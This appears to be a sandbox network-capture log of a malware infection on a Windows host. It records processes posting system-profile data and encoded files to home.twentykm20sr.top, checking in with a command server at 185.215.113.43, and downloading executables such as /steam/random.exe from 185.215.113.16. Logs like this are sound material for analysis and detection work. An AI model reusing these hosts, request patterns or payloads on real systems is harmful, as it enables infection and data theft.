Nov 26, 2024 22:54:25.162862062 CET	1236	IN	Data Raw: 11 69 73 22 94 7e df 4c c9 24 c2 9c f5 40 b4 83 97 61 6a 6c b5 14 35 03 d1 56 7c 35 dc 51 e2 93 9c d2 06 3c 17 6a 48 b2 49 d5 cf 6f f8 a1 f4 64 fa e0 c1 86 f0 ec 3b 8e ed 08 ec ce f4 9e 32 06 97 e8 fd bf ee bb f8 0d 76 97 36 25 24 df ef ea 5d 9e Data Ascii: is"~L$@ajl5V\|5Q<jHIod;2v6%$]T5\w`.-fOksC=U^jItC,=;DdH_uA(KP~fD!T^1:m@1>J:KaBb)x
Nov 26, 2024 22:54:25.281644106 CET	1236	IN	Data Raw: 78 c6 ca 4f 1e 63 23 3e 3c b9 5c 8b 7b 9a b8 42 26 a1 84 e6 f4 cb 32 31 ac cb 1e e4 4d 58 f8 27 d4 19 6d 5f 76 ab 28 c8 4b f5 26 43 22 79 2b 58 01 1a 54 52 47 b1 ae a5 79 ca 17 64 88 c6 f8 84 f3 c2 84 48 ff fa 0d 9d d7 26 b4 a8 3a fb 6e 3a 0c eb Data Ascii: xOc#><\{B&21MX'm_v(K&C"y+XTRGydH&:n:nO+"*i9'jQ'1S\7}J6"x`mL{']iXh<?>TJi+GIhzgD"liqX+Uq-;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50141	34.118.89.252	80	5572	C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:29.227014065 CET	12360	OUT	POST /iYUeIWtRvzKHTkiRYPPG1732630737 HTTP/1.1 Host: home.twentykm20sr.top Accept: / Content-Type: application/json Content-Length: 375382 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 36 35 38 30 36 37 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 [TRUNCATED] Data Ascii: { "ip": "8.46.123.75", "current_time": "1732658067", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 556 }, { "name": "services.exe", "pid": 624 }, { "name": "lsass.exe", "pid": 632 }, { "name": "svchost.exe", "pid": 748 }, { "name": "fontdrvhost.exe", "pid": 772 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "svchost.exe", "pid": 864 }, { "name": "svchost.exe", "pid": 912 }, { "name": "dwm.exe", "pid": 976 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 704 }, { "name": "svchost.exe", "pid": 860 }, { "name": "svchost.exe", "pid": 9 [TRUNCATED]
Nov 26, 2024 22:54:29.347265959 CET	4944	OUT	Data Raw: 44 58 6f 41 6a 6f 70 7a 44 61 63 64 61 62 51 41 56 58 71 78 55 66 6c 2b 5c 2f 36 66 5c 2f 58 6f 41 6a 70 72 5c 2f 64 50 34 66 7a 46 53 4d 4e 70 78 31 70 68 47 52 69 67 43 43 6e 6e 37 67 2b 76 2b 4e 4c 35 66 76 2b 6e 5c 2f 41 4e 65 6d 48 50 54 73 Data Ascii: DXoAjopzDacdabQAVXqxUfl+\/6f\/XoAjpr\/dP4fzFSMNpx1phGRigCCnn7g+v+NL5fv+n\/ANemHPTsDQBCnX8P6ipaaq7TnOfwp1ABUL\/eP4fyFTVC\/wB4\/h\/IUANooooAr0VJ5fv+n\/16aw2nHWgBtFFFABUcnb8f6VJTWXdjnGPagCGipCmATnp7f\/XqOgBr\/dP4fzFU0+8Px\/kaukZGKiEIBzuP5UAMPQ\/Q
Nov 26, 2024 22:54:29.347307920 CET	2472	OUT	Data Raw: 59 76 70 5c 2f 50 5c 2f 47 6c 41 41 36 43 6c 6f 6f 41 4b 4b 4b 4b 41 43 69 69 76 43 5c 2f 69 46 2b 31 44 2b 7a 52 38 49 5c 2f 46 32 6c 2b 41 50 69 76 2b 30 52 38 43 5c 2f 68 6a 34 38 31 79 31 73 4c 33 52 66 42 50 78 43 2b 4c 66 67 44 77 58 34 75 Data Ascii: Yvp\/P\/GlAA6ClooAKKKKACiivC\/iF+1D+zR8I\/F2l+APiv+0R8C\/hj481y1sL3RfBPxC+LfgDwX4u1iy1W9uNM0u70vw34k8QabrOoWupaja3Wn2FxaWU0V5e21xaW7yTwyRqLWUILWdSahTgtZVJtNqEI7zm1FtRim2k3ayYPSM5vSFOLnUm\/hpwTSc5y2jFOUU5SaV2le7R7pRRXh3xP\/ac\/Zs+CWu6T4X+M\/7Qn
Nov 26, 2024 22:54:29.347328901 CET	4944	OUT	Data Raw: 2b 64 41 43 55 55 55 55 41 4e 32 4c 36 66 7a 5c 2f 78 71 4e 68 67 6b 44 5c 2f 50 46 54 56 43 5c 2f 77 42 34 5c 2f 68 5c 2f 49 55 41 4e 6f 6f 6f 6f 41 72 30 55 55 55 41 4d 66 70 2b 50 39 44 55 56 54 4d 43 52 67 65 74 4d 32 48 32 5c 2f 7a 2b 46 41 Data Ascii: +dACUUUUAN2L6fz\/xqNhgkD\/PFTVC\/wB4\/h\/IUANooooAr0UUUAMfp+P9DUVTMCRgetM2H2\/z+FAH2LUcnb8f6VJUcnb8f6UAR0UUUAFMfp+P9DT6KAK9fywfsj2I\/Y7\/AODh79rT4EqyaZ4H\/a88A638UvCFiT5NvfeI9Vjsvi75lpGoESppl9B8XtHtYAiBI0MULDYscv8AVPX8w3\/BbywP7Nv7bX\/BMj\/goX
Nov 26, 2024 22:54:29.347369909 CET	2472	OUT	Data Raw: 38 41 68 4a 6a 45 64 56 58 34 65 51 2b 49 50 4a 6d 48 67 38 61 6d 54 63 66 62 52 38 4c 6c 2b 48 6e 6c 66 32 54 5c 2f 41 4b 51 50 43 42 31 58 37 4d 46 30 51 33 34 71 39 5c 2f 77 57 38 74 5c 2f 44 38 76 38 41 77 55 58 5c 2f 41 4f 43 53 50 5c 2f 43 Data Ascii: 8AhJjEdVX4eQ+IPJmHg8amTcfbR8Ll+Hnlf2T\/AKQPCB1X7MF0Q34q9\/wW8t\/D8v8AwUX\/AOCSP\/CqFtj+1A3xn0pr7+wTD\/wkQ+HcHxK+Hc3hiTxMtuTef2JHqSePH0l7tTY\/2enjUTk2qzilldq64Plif3q4ylhVGNL91LLFmNXG0sL7BPn+vSwX1NTx\/tPYqvB4uVJYNUYRSzH9zPiijQ\/dy4WhinKrUXPSx88v
Nov 26, 2024 22:54:29.347409010 CET	2472	OUT	Data Raw: 77 2b 4c 51 43 59 2b 4c 78 41 64 50 42 31 34 51 47 75 7a 5c 2f 34 4f 65 6f 50 41 4d 5c 2f 37 4d 6e 37 4f 61 78 70 62 50 2b 30 47 5c 2f 37 52 47 6b 77 5c 2f 42 31 64 4c 4b 44 78 75 2b 6b 53 2b 47 39 64 58 78 69 6d 6b 72 41 52 71 72 36 4d 64 59 50 Data Ascii: w+LQCY+LxAdPB14QGuz\/4OeoPAM\/7Mn7OaxpbP+0G\/7RGkw\/B1dLKDxu+kS+G9dXximkrARqr6MdYPgUXf2IHb4jPhTbiZkyU69J08qzGeHrVcLnmcSwdLLsNLnxWAwtXiCtklLDRqtJ4nOcKoLE4yjUpwpRjyw5I3c3p9XqyqYzL416dLE5bk+HxtTMK8OWli8TLh+hntSrPD8yjh8tqOo8HTnCrOr7SNZqp+7in+rn7an
Nov 26, 2024 22:54:29.347440958 CET	2472	OUT	Data Raw: 32 47 6d 48 57 76 45 57 6e 58 75 75 58 56 76 65 78 61 44 5a 61 6f 64 4e 31 4d 32 64 62 34 4f 5c 2f 38 45 67 50 2b 43 63 76 77 41 2b 4a 6e 68 44 34 78 66 43 4c 39 6d 7a 54 50 42 33 78 49 38 42 36 6b 2b 72 2b 45 5c 2f 45 30 48 78 46 2b 4d 47 72 53 Data Ascii: 2GmHWvEWnXuuXVvexaDZaodN1M2db4O\/8EgP+CcvwA+JnhD4xfCL9mzTPB3xI8B6k+r+E\/E0HxF+MGrS6RqMlndae9ymna\/8AELVdHuy1neXMJjv9OuocSlhH5ioy\/kT+zZN4V1f\/AIOVP2w2+OBsJPHujfC1Lf8AZ3t\/EqxD7O9v4O+FXkt4Ojv5MjWT8NLnxNfQf2ajzyaZd+Lb2MJGbtx0UpSxeMy7KYYitR56Of5t
Nov 26, 2024 22:54:29.347471952 CET	2472	OUT	Data Raw: 49 2b 4d 4e 47 73 66 45 58 68 6a 58 64 53 38 46 32 6d 74 61 48 71 63 49 75 4e 4e 31 57 79 48 78 71 6b 6e 65 78 31 43 31 62 39 33 64 32 55 37 51 6f 6c 31 61 54 42 37 65 37 67 4c 32 39 78 48 4c 42 4c 4a 47 33 64 66 38 41 42 7a 33 6f 65 6b 48 34 46 Data Ascii: I+MNGsfEXhjXdS8F2mtaHqcIuNN1WyHxqknex1C1b93d2U7Qol1aTB7e7gL29xHLBLJG3df8ABz3oekH4F\/sd+Kv7OtR4k0b9qC10LStaWMJqFho+t+D9Y1LVdOtrhcPHa31\/4b0K7mjBwZ9LtHXaY+d8pnB5XkqnTf8AZ+P8ROI8s+qwk1WoQzfiXK8ulWWJlze1qYZYvDSoRdKnC9KvKusT7WnToxmNOcs0zOMai+vYbgXh
Nov 26, 2024 22:54:29.349190950 CET	2472	OUT	Data Raw: 50 32 74 47 5c 2f 73 70 2b 30 71 38 30 48 37 57 70 7a 66 42 50 37 51 58 5c 2f 41 41 54 73 2b 43 6e 37 53 50 37 55 33 37 4f 50 37 58 50 6a 6e 78 52 38 55 74 4b 2b 4a 48 37 4d 4e 31 70 74 33 34 42 30 54 77 70 72 66 68 4f 78 38 45 61 76 4a 70 66 69 Data Ascii: P2tG\/sp+0q80H7WpzfBP7QX\/AATs+Cn7SP7U37OP7XPjnxR8UtK+JH7MN1pt34B0TwprfhOx8EavJpfiV\/FNuvi\/TdX8Ea7r1+j6g5hmGi+JdAZrPEaNHPm4OX+3J\/wTB\/ZL\/wCCgttoN38dfCmuad478KWv9n+F\/iz8ONZh8KfEjRNJN0182jDVLnTda0XWtIS8ea6stP8AE+ga7b6RdXd\/d6Imm3Wo381z+hVFZ+
Nov 26, 2024 22:54:29.467367887 CET	2472	OUT	Data Raw: 2f 73 36 66 74 4a 66 46 65 44 78 65 50 48 33 37 4e 57 72 57 32 71 65 46 4c 4c 77 37 71 58 68 2b 78 38 4e 65 4d 49 74 4e 38 52 61 66 34 72 30 54 52 5c 2f 69 4e 5a 36 6e 34 58 31 6e 56 64 63 30 54 51 74 66 73 5a 64 51 30 79 78 30 66 57 76 44 70 44 Data Ascii: /s6ftJfFeDxePH37NWrW2qeFLLw7qXh+x8NeMItN8Raf4r0TR\/iNZ6n4X1nVdc0TQtfsZdQ0yx0fWvDpDarq8N5NeW96Yo9D9u\/\/AIJ3\/BX\/AIKF+F\/hp4S+NHij4o+GNO+FfjhvH\/h6f4X614T0W9vNYbTn0w22syeK\/BPjWC40zyJC4hsbbTrrzgG+27Mxn7u2N6fy\/wAamopr2VKhRp+5SwuYSzXD04\/DRzGWK
Nov 26, 2024 22:54:29.467432022 CET	2472	OUT	Data Raw: 50 48 4d 4d 39 74 46 44 5a 52 50 61 72 5a 57 2b 6e 7a 52 7a 46 32 6b 6e 6d 51 71 69 66 6f 54 52 56 59 70 4c 47 79 6e 50 46 4a 56 70 56 4d 52 44 46 54 63 31 38 57 49 70 34 69 4f 4b 70 31 64 4c 4c 6d 68 69 49 51 71 78 74 5a 4b 55 56 70 62 51 6a 44 Data Ascii: PHMM9tFDZRParZW+nzRzF2knmQqifoTRVYpLGynPFJVpVMRDFTc18WIp4iOKp1dLLmhiIQqxtZKUVpbQjDN4OMIYb9zGFCeGgo9KFShLDTpa392VCcqTvq4yet9T+fHwF\/wAG3X7Fvw88c+C\/H+j\/ABz\/AGzb7V\/A3izw54x0uy1j4m\/Ci50i81HwzrFnrVja6rbWvwLsrm4064ubKKK+gt720nltnljhureRllT7W\/b
Nov 26, 2024 22:54:31.584491014 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 26 Nov 2024 21:54:31 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 64 6e 6a 38 61 4e 6f 32 71 46 6c 71 6f 61 68 42 31 37 33 32 36 35 38 30 37 31 Data Ascii: dnj8aNo2qFlqoahB1732658071

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50143	34.118.89.252	80	5572	C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:32.087582111 CET	126	OUT	GET /iYUeIWtRvzKHTkiRYPPG1732630737?argument=dnj8aNo2qFlqoahB1732658071 HTTP/1.1 Host: home.twentykm20sr.top Accept: /
Nov 26, 2024 22:54:33.537461996 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 26 Nov 2024 21:54:33 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="585fqgfPTkbhX;" last-modified: Tue, 26 Nov 2024 14:18:57 GMT cache-control: no-cache etag: "1732630737.32013-10816560-800331423" Data Raw: 13 24 7e dd 59 bf e4 79 b8 33 48 e9 ab 0d 72 98 29 7c c9 7b 66 89 41 08 89 42 87 24 21 37 0e d2 d5 7a 04 8b 56 95 18 58 77 dc 23 35 a3 80 ac b7 38 48 3b 75 01 ca e8 a8 f8 df fb 88 87 85 a3 d9 b8 47 d5 ce 81 14 7a 0c 3c 13 33 f1 28 27 8f 25 ca 59 e7 a5 1a 4d 63 1e 5c be ef 6d e2 6c b4 36 ff b9 43 72 77 77 db 12 64 66 00 70 83 80 2c 00 3b ea 41 a6 8a 99 35 4a e3 53 15 41 99 cb 6b 49 91 ce 16 98 8c bb db f7 7c cc 68 65 3e 89 2f c7 63 56 bb ee 3d bd cf 29 7f 59 a9 ac f7 e4 a9 7b 1a 5b a4 d8 8d ce c1 61 6d ad a1 43 01 c3 cb 88 4c 1e aa 26 8d a7 42 f2 a0 f1 38 ea 3d e6 f8 73 96 64 dc 7f 67 a1 59 56 5c d8 10 47 a6 d0 af 0d 80 37 fc a3 a5 9f 58 d4 72 c7 ba be 62 30 2c d8 d0 c5 a7 19 17 fd 0e 21 99 90 d7 a5 0d 23 b6 90 72 93 b0 64 0f 49 15 7a 13 fe 1c 60 5f c5 c6 dc 83 1d 91 bd 7b 57 6b 9d c2 b2 14 f2 cf e5 9a 99 e5 c1 ac 28 b2 d2 37 2a 9b 2e 81 9e 1a 69 84 79 f4 35 5d db 46 92 44 79 3f b9 6e 64 a7 36 d2 ee 33 7e 97 0a 67 bc 34 55 7b 3a 8c 92 7f 26 fa c9 41 31 ba f5 98 13 2d bf 20 d4 1e 4b c7 32 13 47 1a da [TRUNCATED] Data Ascii: $~Yy3Hr)\|{fAB$!7zVXw#58H;uGz<3('%YMc\ml6Crwwdfp,;A5JSAkI\|he>/cV=)Y{[amCL&B8=sdgYV\G7Xrb0,!#rdIz`_{Wk(7.iy5]FDy?nd63~g4U{:&A1- K2G78tb3#J+s{N%tC%CE6Gg\|k89apQ0LZMC;(\sf )8xo?c@BI="MSf<m}};}'R?-!1RA&0@3qV>khL,w9RW^lThO&p`uOQcds4,R>M($Uq1kbBb=&PF9]5h$amFz4o??ER+-Z\D}fZ4jL1m]!{`[e\|hRU5$Hax_rh1v5Kg& G*s~!\A)xBdwI'dAq%-7t`f6Sqqk3;!Rdp6 HaQ\|KwQc#S/\i\|N):hW$q(N4U#b"
Nov 26, 2024 22:54:33.537525892 CET	1236	IN	Data Raw: ad 3e 74 4c b8 35 0d d4 71 61 0c 69 a9 68 5f c1 6b 15 74 b3 3e e9 49 70 8d f4 81 b5 ab bd 97 a7 09 ef 77 09 74 93 a6 5a 0f b6 1d 06 31 81 fb 6a 74 41 be 08 32 c6 d2 bb 1b 3c 30 98 dd bd 63 03 2c e0 95 a4 ef 5c b1 3f 88 8b f4 c7 69 e5 29 2b 6f a3 Data Ascii: >tL5qaih_kt>IpwtZ1jtA2<0c,\?i)+o9gWy7HE8;upcrezJ%-\|JA_Ea .--!{J)T]YNBI=\|\DUuE&(7H,
Nov 26, 2024 22:54:33.537538052 CET	1236	IN	Data Raw: da d7 b3 72 c1 74 95 02 77 3f 84 26 95 80 e0 fe ac 3f 0f 95 4c d2 ff 0d b8 04 51 c8 9f 05 f6 6e d9 2c e6 10 4b 4c 1e af be d8 61 70 77 1c 8b 14 56 b6 0a a1 07 c4 59 d3 aa 2a 1d e2 88 d6 3f 8c f5 e7 49 34 e1 c4 ef 5d f5 f8 d9 94 d3 23 c5 35 fa 1e Data Ascii: rtw?&?LQn,KLapwVY*?I4]#5O,.>d414Qb2OII49EuU9>\KEQC=JA#E/Yva"z4~MD?iK@p=Lr3( KAxE
Nov 26, 2024 22:54:33.537754059 CET	1236	IN	Data Raw: cd 4a 6e e0 9b ed c3 c3 a5 3b a9 10 cc f5 5e 9f 67 30 04 d3 51 d2 c2 53 67 a4 8e 11 2c 6c 6a a9 33 42 26 b5 19 9b dd d0 ca 6a a6 9a 1d b9 b5 b0 93 63 f8 87 e2 97 25 0b 12 00 77 ad c9 cd d1 bb 87 78 cc c9 9c e1 ba d6 a2 91 9f 68 1f 69 91 ad 0a a5 Data Ascii: Jn;^g0QSg,lj3B&jc%wxhi6R+BPz5LP?msV^RPi^lp!~)5yCb=u)]{tpA+Asyi!04REzr{&0\|xJ8Br=_]7prE
Nov 26, 2024 22:54:33.537787914 CET	1236	IN	Data Raw: e8 f0 a0 c2 18 f0 e9 8f e2 30 27 89 86 b8 1f 30 ca 9e 3f 1e ba 25 0a d2 23 5b 2a d9 98 1d 77 b2 92 c7 ff 59 d2 b0 bf 34 6e 17 4b 96 2e 8b 8e d2 e8 1b 9f 54 a9 cf e8 71 fb 62 f1 0e d9 7d 10 1d b2 39 60 2a dc bc dc b9 98 af 50 ff 3b 96 a0 1a f6 d2 Data Ascii: 0'0?%#[wY4nK.Tqb}9`P;w0&W0\|{4A&Hywdm$b$:DcCY^#Q{(jz&R%Gl]h{9v6Dj'{iI><M"Ci[AVi^Xy~:nJ>
Nov 26, 2024 22:54:33.537800074 CET	920	IN	Data Raw: 1b 4e c0 50 5f f9 16 b5 03 21 65 f5 61 55 f9 9f 64 23 cc e0 24 29 54 0b cf e6 04 6e 5b 35 30 b1 3d db 40 b7 be 37 06 73 6f 4a 8e 9d bd f5 0d 6f 9a 71 48 db 02 43 38 58 bf 3c 24 0b 70 a3 40 23 e3 02 db d1 d1 d9 84 4e 89 9d e0 f2 7b 08 d6 42 ed f7 Data Ascii: NP_!eaUd#$)Tn[50=@7soJoqHC8X<$p@#N{B9){/_Yf=]o_!dZ/CNS7X<x(jU8D^x(_(4H<O,i!+mQEjOBRAx%J*{?)Q;RC
Nov 26, 2024 22:54:33.539273024 CET	1236	IN	Data Raw: ed f5 ab 30 74 76 9a c6 31 a1 a9 96 6c 36 23 24 a3 08 a1 6d f9 41 c8 bd 9d 9b ab 3d d5 55 60 74 ad a5 b8 f4 96 a8 e0 5e 49 e8 ab 77 15 47 55 be 36 7a f9 84 60 f7 2b cd 92 03 b6 53 f7 40 87 4e 93 9a 2c d9 80 ae 1f 18 56 43 13 24 07 ec 94 62 cd 2d Data Ascii: 0tv1l6#$mA=U`t^IwGU6z`+S@N,VC$b-cwBW6S9I=OL$Od@wS-8^wAkd)doD*al9d<+i\x02/G+}!:`fnc~u/: /:{{7W!sDwr(
Nov 26, 2024 22:54:33.539366961 CET	224	IN	Data Raw: 72 91 ce f7 46 8e 5a a0 5b a6 fe 92 94 93 99 68 22 1e 1e e2 c8 6a d8 de 28 13 3f d9 5f 61 9e 72 b0 fd 71 35 3a 38 69 c0 d3 fe 5c d3 d4 0a bb 83 c9 70 fb 4e ec 35 55 bb b5 0c f2 c1 4d b7 87 d5 e4 2b c8 b8 1b 01 81 e7 c2 42 1e a4 fa 79 43 68 f8 cf Data Ascii: rFZ[h"j(?_arq5:8i\pN5UM+ByCh5 r<}5GOX_9(+lYA%)NAI4<Snf;!K6H$QGA2F5jr$`]bADr_
Nov 26, 2024 22:54:33.539378881 CET	1236	IN	Data Raw: d0 e5 72 e0 ae 92 5b ae 49 96 ed 25 de 79 49 04 45 03 b8 ca 19 d0 4f 18 f4 93 d6 89 1a c2 2a 84 9e 9d df 50 68 49 b7 51 63 a3 90 c4 a6 da ec 7d a2 a7 da 65 f6 43 41 63 43 c7 a9 50 e5 43 f5 1d 75 b1 de 87 10 6b 60 e3 a7 53 57 03 f4 6f 82 a2 78 e1 Data Ascii: r[I%yIEOPhIQc}eCAcCPCuk`SWox{8H`P"/rxE3J8av 9q\|du\|x].r?4+WWQ%9YO,Mf6?)_Dr2i2`l/\|v-p\|bxDH
Nov 26, 2024 22:54:33.539498091 CET	1236	IN	Data Raw: 61 57 c8 f9 7b a6 06 55 60 ca 65 32 f4 37 3d d3 f6 b2 a2 77 67 14 2a df 96 2f 07 8e 3e b2 45 98 54 52 2f 56 b3 f0 2e a3 fd 4f cc 21 24 8f 98 ef 3a d6 d7 dc 62 b1 32 9e d4 46 43 c0 fb b0 9d be 45 7d c4 e0 9b 3a 7b 10 70 c0 18 c2 ef b5 ed 87 59 50 Data Ascii: aW{U`e27=wg*/>ETR/V.O!$:b2FCE}:{pYPK~/#p:Qyf9ZYZL$zE)FC[RXCm9V6xmdP8ZHa#^Fk?n7fA}`=Nu3A.`r
Nov 26, 2024 22:54:33.657577991 CET	1236	IN	Data Raw: 73 84 ba aa da 21 3a 0f e1 ae e3 bd 3c fe 4e a6 d6 90 61 ba d4 34 b7 26 3f 51 26 e9 e1 68 21 68 de ba 8f 7a 70 26 d2 65 34 4d 29 20 a9 b5 8b 42 82 3d 41 b1 7a 07 d0 9b 7c 37 f4 16 25 07 ce 13 84 fe 2d 14 ea f8 d6 ad 4e 57 70 b6 4e 7f 7f 05 51 5a Data Ascii: s!:<Na4&?Q&h!hzp&e4M) B=Az\|7%-NWpNQZ_cl)rvkX{'e"qiF1(s-9K,AGJGbQs49"3g%"+jufX-rCLiiA,.[R{6w[jM`O`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50144	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:32.319557905 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 34 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009400001&unit=246122658369
Nov 26, 2024 22:54:33.711726904 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50146	185.215.113.16	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:33.875094891 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 22:54:35.383837938 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:35 GMT Content-Type: application/octet-stream Content-Length: 1824256 Last-Modified: Tue, 26 Nov 2024 21:29:10 GMT Connection: keep-alive ETag: "67463da6-1bd600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 a0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 69 00 00 04 00 00 10 c9 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$i@i@M$a$$ $b@.rsrc$r@.idata $t@ *$v@ztloqtqa@PO6x@yftouuyui@.taggant0i"@
Nov 26, 2024 22:54:35.383935928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:35.383946896 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:35.384175062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 22:54:35.384186029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: A#Z}dQD\|#=]Hyzb\%@&
Nov 26, 2024 22:54:35.384196043 CET	1236	IN	Data Raw: dc 4a 67 32 8d 89 f7 f4 b5 1f 09 4e 68 48 d5 96 82 ca 72 16 66 9c fa 73 c2 2d 80 05 03 74 d0 e6 f3 c3 fe 3e fd 53 69 2f c0 c1 48 dd b2 a8 20 af 68 43 e0 48 8f 6c f7 06 f3 f9 b7 36 97 78 5a c3 06 55 78 a3 85 50 79 34 a5 14 29 6a 8b c6 79 49 e3 d1 Data Ascii: Jg2NhHrfs-t>Si/H hCHl6xZUxPy4)jyI>3$8oCk%rN26FZr_)43L1SKu>"7Jex{OwE%92Ykkj>Qph2NQosz*iER9Rp}
